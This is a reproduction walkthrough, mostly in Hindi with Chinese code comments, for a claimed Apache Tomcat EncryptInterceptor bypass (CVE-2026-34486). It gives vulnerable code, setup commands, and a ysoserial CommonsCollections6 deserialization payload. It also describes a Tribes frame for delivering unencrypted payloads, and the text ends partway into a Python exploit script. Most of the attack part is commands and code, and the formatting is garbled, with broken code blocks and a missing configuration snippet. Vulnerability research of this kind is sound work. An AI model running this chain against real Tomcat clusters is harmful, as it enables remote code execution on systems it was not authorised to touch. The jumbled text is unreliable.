
CVE-2026-34486 Apache Tomcat EncryptInterceptor बाईपास भेद्यता पुनरुत्पादन (GLM5.1 का उपयोग करके पुनरुत्पादन पूर्ण)
| विशेषता | विवरण |
|---|---|
| CVE संख्या | CVE-2026-34486 |
| गंभीरता स्तर | Important / High (CVSS 3.1: 7.5) |
| भेद्यता प्रकार | CWE-311 संवेदनशील डेटा एन्क्रिप्शन की कमी / CWE-807 अविश्वसनीय इनपुट बाधा |
| प्रभावित संस्करण | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| सुधार संस्करण | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| मूल कारण | EncryptInterceptor.messageReceived() में super.messageReceived(msg) को try-catch ब्लॉक के बाहर स्थानांतरित किया गया |
CVE-2026-29146 (Padding Oracle) को ठीक करते समय, डेवलपर्स ने EncryptInterceptor.messageReceived() विधि का पुनर्गठन किया, super.messageReceived(msg) को try ब्लॉक के अंदर से बाहर स्थानांतरित कर दिया:
सुधार से पहले (सुरक्षित):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**भेद्य कोड (खतरनाक):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
बाइटकोड सत्यापन (Tomcat 9.0.116 के EncryptInterceptor.class से):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## 2. प्रजनन वातावरण
| घटक | संस्करण/कॉन्फ़िगरेशन |
|---|---|
| ऑपरेटिंग सिस्टम | Ubuntu 22.04 (सैंडबॉक्स वातावरण) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (कमज़ोर संस्करण) |
| Gadget लाइब्रेरी | Commons Collections 3.1 |
| हमला टूल | ysoserial v0.0.6 + कस्टम Python/Java PoC |
### वातावरण टोपोलॉजी```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### चरण 2: Gadget लाइब्रेरी स्थापित करें```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
tomcat-node1/conf/server.xml संपादित करें, <Engine> के अंदर जोड़ें:```xml
> नोट: `encryptionKey` हेक्साडेसिमल स्ट्रिंग प्रारूप में होना चाहिए (जैसे `546869734973415365637265744B6579` = "ThisIsASecretKey" का ASCII हेक्साडेसिमल), स्पष्ट टेक्स्ट स्ट्रिंग नहीं हो सकता।
### चरण 4: Session प्रतिलिपि सक्षम करें
`webapps/ROOT/WEB-INF/web.xml` में जोड़ें:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**वास्तविक स्टार्टअप लॉग की पुष्टि:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### चरण 7: Tribes प्रोटोकॉल संदेश का निर्माण और भेजना
Tribes संदेशों को विशिष्ट XByteBuffer फ्रेम एनकैप्सुलेशन प्रारूप की आवश्यकता होती है:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
जहाँ ChannelData पेलोड संरचना:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**मुख्य बिंदु**: संदेश बॉडी को सीधे बिना एन्क्रिप्टेड Java सीरियलाइज़ेशन payload में रखा जाता है, यही शोषण का मूल है—EncryptInterceptor डिक्रिप्ट करने का प्रयास करता है, विफल होने पर भी मूल बाइट्स को आगे की श्रृंखला में पास कर देता है।
#### तरीका एक: Python PoC स्क्रिप्ट (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)